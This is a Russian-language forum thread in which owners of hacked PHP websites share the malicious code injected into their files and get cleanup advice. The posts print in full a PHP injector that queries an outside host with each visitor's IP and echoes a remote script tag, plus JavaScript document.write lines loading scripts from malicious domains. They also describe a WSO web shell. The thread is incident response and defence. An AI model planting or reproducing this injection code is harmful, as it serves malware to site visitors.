Перейти к содержанию

Recommended Posts

me8721312

Взломали сайт

В php файлах дописался код вида

<?php#d308d9#if (empty($tey)) {    error_reporting(0);    @ini_set('display_errors', 0);    if (!function_exists('__url_get_contents')) {        function __url_get_contents($remote_url, $timeout)        {            if (function_exists('curl_exec')) {                $ch = curl_init();                curl_setopt($ch, CURLOPT_URL, $remote_url);                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds                $_url_get_contents_data = curl_exec($ch);                curl_close($ch);            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {                $ctx = @stream_context_create(array('http' =>                    array(                        'timeout' => $timeout,                    )                ));                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {                $handle = @fopen($remote_url, "r");                $_url_get_contents_data = @stream_get_contents($handle);            } else {                $_url_get_contents_data = __file_get_url_contents($remote_url);            }            return $_url_get_contents_data;        }    }    if (!function_exists('__file_get_url_contents')) {        function __file_get_url_contents($remote_url)        {            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',                $remote_url, $matches)            ) {                $protocol = strtolower($matches[1]);                $host = $matches[2];                $path = $matches[3];            } else {                // Bad remote_url-format                return FALSE;            }            if ($protocol == "http") {                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);            } else {                // Bad protocol                return FALSE;            }            if (!$socket) {                // Error creating socket                return FALSE;            }            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";            $len_written = @fwrite($socket, $request);            if ($len_written === FALSE || $len_written != strlen($request)) {                // Error sending request                return FALSE;            }            $response = "";            while ([email protected]($socket) &&                ($buf = @fread($socket, 4096)) !== FALSE) {                $response .= $buf;            }            if ($buf === FALSE) {                // Error reading response                return FALSE;            }            $end_of_header = strpos($response, "\r\n\r\n");            return substr($response, $end_of_header + 4);        }    }    if (empty($__var_to_echo) && empty($remote_domain)) {        $_ip = $_SERVER['REMOTE_ADDR'];        $tey = "http://ipadtips.ru/pbPfWrqX.php";        $tey = __url_get_contents($tey."?a=$_ip", 1);        if (strpos($tey, 'http://') === 0) {            $__var_to_echo = '<script type="text/javascript" src="' . $tey . '?id=13317021"></script>';            echo $__var_to_echo;        }    }}#/d308d9#?>

в директории добавились файлы вида (в прикрепленном файле ) (в комментариях фразы с девида блейна на русском =))

при выполнении получаем запрос на ввод пароле . комментрием проверку и получаем

что-то файл не прикрепился [удалено]

http://s003.radikal.ru/i202/1404/bb/7cc599e60dec.jpg

во всех js-файлах дописан код вида

 /*f827eb*/document.write('<script type="text/javascript" src="http://fgip.ru/xcgFmDy4.php?id=13317112"></script>');/*/f827eb*/
Отредактировал Mr. Justice
п. 11.17 Правил форума
  • Downvote 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Mr. Justice

me8721312

Правилами форума (п. 11.17) запрещается размещать сообщения, содержащие вредоносное и шпионское програмное обеспечение или работоспособные ссылки на указанное программное обеспечение за исключением размещения данного контента в специально отведенном закрытом разделе форума. Что у Вас там было?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
me8721312
me8721312

Правилами форума (п. 11.17) запрещается размещать сообщения, содержащие вредоносное и шпионское програмное обеспечение или работоспособные ссылки на указанное программное обеспечение за исключением размещения данного контента в специально отведенном закрытом разделе форума. Что у Вас там было?

Там был закодированный php код панели той что на скриншоте (этот тот файл который появился ).

Там есть такие закладки

[ Sec. Info ] [ Files ] [ Console ] [ Sql ] [ Php ] [ String tools ] [ Bruteforce ] [ Network ] [ Self remove ]

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
priv8v

судя по скрину - это WSO Shell

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Сергей Ильин

me8721312, а сайт на чем? Патчи стоят? Кто имеет доступ к сайту?

Мы у себя около года назад обнаружили модифицированный скрипт, расследование показало, что протроянили машину одного из редакторов и украли учетку к FTP. Все довольно банально в общем.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
me8721312

WSO Shell

Судя по всему оно!

me8721312, а сайт на чем?

php самописный

Патчи стоят?

нет

Кто имеет доступ к сайту?

Три человека

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Сергей Ильин
Кто имеет доступ к сайту?

Три человека

Очень высока вероятность, что у кого-то из троих компьютер заражен и все учетки ушли. Поднимите логи и посмотрите, кто менял файлы, в которых добавился вредоносный код. Имя этого юзера и будут означать виновного, через которого сайт был заражен. Надежнее всего полностью заменить скомпрометированные клиентские системы, сменить пароли на доступ к сайту. А сам сайт восстановить из последнего чистого бекапа. Можно попробовать вычистить вредоносный код, но есть риски что-то пропустить. Внимательно очень нужно смотреть по логам какие файлы менялись и кем. Возможно атаку удалось эскалировать и было перехвачено управление над другими ресурсами и системами (может стоять вспомогательный софт, например, какой-нибудь phpmyadmin, plesk, cpanel и т.п.). Иначе получится, что вы файлы восстановили, но вам будут пихать все это по-новому.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yrass

И у меня тоже

#c13fbf#if (empty($cvlrb)) {   if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {   } else {   error_reporting(0);   @ini_set('display_errors', 0);   if (!function_exists('__url_get_contents')) {       function __url_get_contents($remote_url, $timeout)       {           if (function_exists('curl_exec')) {               $ch = curl_init();               curl_setopt($ch, CURLOPT_URL, $remote_url);               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);               curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);               curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds               $_url_get_contents_data = curl_exec($ch);               curl_close($ch);           } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {               $ctx = @stream_context_create(array('http' =>                   array(                       'timeout' => $timeout,                   )               ));               $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);           } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {               $handle = @fopen($remote_url, "r");               $_url_get_contents_data = @stream_get_contents($handle);           } else {               $_url_get_contents_data = __file_get_url_contents($remote_url);           }           return $_url_get_contents_data;       }   }   if (!function_exists('__file_get_url_contents')) {       function __file_get_url_contents($remote_url)       {           if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',               $remote_url, $matches)           ) {               $protocol = strtolower($matches[1]);               $host = $matches[2];               $path = $matches[3];           } else {               // Bad remote_url-format               return FALSE;           }           if ($protocol == "http") {               $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);           } else {               // Bad protocol               return FALSE;           }           if (!$socket) {               // Error creating socket               return FALSE;           }           $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";           $len_written = @fwrite($socket, $request);           if ($len_written === FALSE || $len_written != strlen($request)) {               // Error sending request               return FALSE;           }           $response = "";           while ([email protected]($socket) &&               ($buf = @fread($socket, 4096)) !== FALSE) {               $response .= $buf;           }           if ($buf === FALSE) {               // Error reading response               return FALSE;           }           $end_of_header = strpos($response, "\r\n\r\n");           return substr($response, $end_of_header + 4);       }   }   if (empty($__var_to_echo) && empty($remote_domain)) {       $_ip = $_SERVER['REMOTE_ADDR'];       $cvlrb = "http://m96.kmu.edu.tw/sqlite/3mqdnqyr.php";       $cvlrb = __url_get_contents($cvlrb."?a=$_ip", 1);       if (strpos($cvlrb, 'http://') === 0) {           $__var_to_echo = '<script type="text/javascript" src="' . $cvlrb . '?id=92587227"></script>';           echo $__var_to_echo;       }   }}}#/c13fbf#

и в Js

/*8d98a6*/document.write('<script type="text/javascript" src="http://m96.kmu.edu.tw/sqlite/3mqdnqyr.php?id=92587271"></script>');/*/8d98a6*/
Отредактировал Yrass

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

×